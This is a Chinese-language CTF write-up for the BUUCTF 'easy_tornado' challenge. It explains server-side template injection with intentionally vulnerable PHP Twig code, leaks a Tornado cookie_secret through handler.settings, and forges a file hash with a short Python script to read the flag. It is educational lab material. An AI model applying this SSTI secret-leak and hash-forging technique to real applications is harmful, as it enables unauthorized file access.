BUUCTF日记--[护网杯 2018]easy_tornado

模板注入
何为模板注入,那么肯定要有模板,并且因为这个模板产生了注[狗头]
有一个叫模板引擎的东西,他能让(网页)程序实现界面与数据的分离,业务代码和逻辑的分离,为的就是提升开发效率,提高代码的重用率。
他的注入成因和web的注入成因也一样,服务端在接受用户的输入时没有过滤,在目标编译渲染时,执行了用户恶意插入的内容。

那么究竟什么是模板?
模板就是提供给程序解析的一种语法,换句话说,模板是把数据(变量)到实际视觉呈现(HTML代码)这项工作的一种实现手段,这种手段在前后端都有应用
通俗讲,就是拿到数据,塞到模板里,然后让渲染引擎去将塞进去的东西生成html文本,返回给浏览器。这样做可以提高浏览器显示页面的速度,大大提升效率。

为了更好的理解,再来举个例子
比如定义一个模板

    <html>
    <div>{
     $what}</div>
    </html>

这只是一个模板,{$what}里面是什么不知道,这里就是我们装数据的地方
如果我们想让里面装上 INVENTOR
那么渲染完成后就是

    <html>
    <div>INVENTOR</div>
    </html>

这只是最简单的例子,渲染引擎是什么决定了你的渲染代码要怎么写。


注入原理

    
    require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
    Twig_Autoloader::register(true);
    $twig = new Twig_Environment(new Twig_Loader_String());
    // 将用户输入作为模版变量的值
    $output = $twig->render("Hello {
     {name}}", array("name" => $_GET["name"]));  
    echo $output;
    ?>

这段代码其实没有什么问题,即使你想用name传一段脚本代码给服务端渲染,你觉得这里有XSS漏洞
但是模板引擎一般都对变量值进行编码和转义,所以不会造成跨站脚本攻击
BUUCTF日记--[护网杯 2018]easy_tornado_第1张图片但下面这段代码就不一样了,它将用户的输入作为模板的内容

    
    require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
    Twig_Autoloader::register(true);
    $twig = new Twig_Environment(new Twig_Loader_String());
    // 将用户输入作为模版内容的一部分
    $output = $twig->render("Hello {
       $_GET['name']}");  
    echo $output;    
    ?>

在引擎渲染的时候,这时用户输入的数据就会被执行
BUUCTF日记--[护网杯 2018]easy_tornado_第2张图片原理大概讲完了,我们看看题目
BUUCTF日记--[护网杯 2018]easy_tornado_第3张图片

http://7dfd3fa3-1ecb-49a3-b734-99be8e925c91.node3.buuoj.cn/file?filename=/flag.txt&filehash=a35d9b1f1d59223ba98daf512554bf56
flag in /fllllllllllllag

http://7dfd3fa3-1ecb-49a3-b734-99be8e925c91.node3.buuoj.cn/file?filename=/welcome.txt&filehash=c17a1847b8e0cfebdce12ecf5b0c6813
render

http://7dfd3fa3-1ecb-49a3-b734-99be8e925c91.node3.buuoj.cn/file?filename=/hints.txt&filehash=60bd2da3d0f9de7b809ae0d097c0fcfe
md5(cookie_secret+md5(filename))

第二个提示render是一个函数名,用来生成模板,也就是这里让做题者联想到模板注入
我们直接访问文件会显示错误
BUUCTF日记--[护网杯 2018]easy_tornado_第4张图片下面这里确实存在漏洞
BUUCTF日记--[护网杯 2018]easy_tornado_第5张图片第三个提示应该就是url中的filehash的值的生成方法
所以我们还缺一个cookie_secret,结合题目提示tornado,这是一个web服务器的框架,里面有一些对象的别名,可以让我们快速访问,这里输入handler.settings,就能访问到cookie_secret
在这里插入图片描述然后用脚本实现第三个提示

import hashlib

hash = hashlib.md5()					#生成一个md5对象
filename = '/fllllllllllllag'
cookie = '57bf8cea-79f0-42e2-a031-53e376bdd691'

hash.update(filename.encode('utf-8'))	#update中的参数必须是二进制的字节流
s = hash.hexdigest()					#hexdigest是用来返回32位的十六进制字符串
print(s)

hash = hashlib.md5()
hash.update((cookie+s).encode('utf-8'))
print(hash.hexdigest())

在这里插入图片描述
如果还有不懂的地方可以关注我的公众号“沉淀Hack”,发消息向我留言,每天会更新大量干货教程,快扫下面的二维码吧
在这里插入图片描述

你可能感兴趣的:(CTF)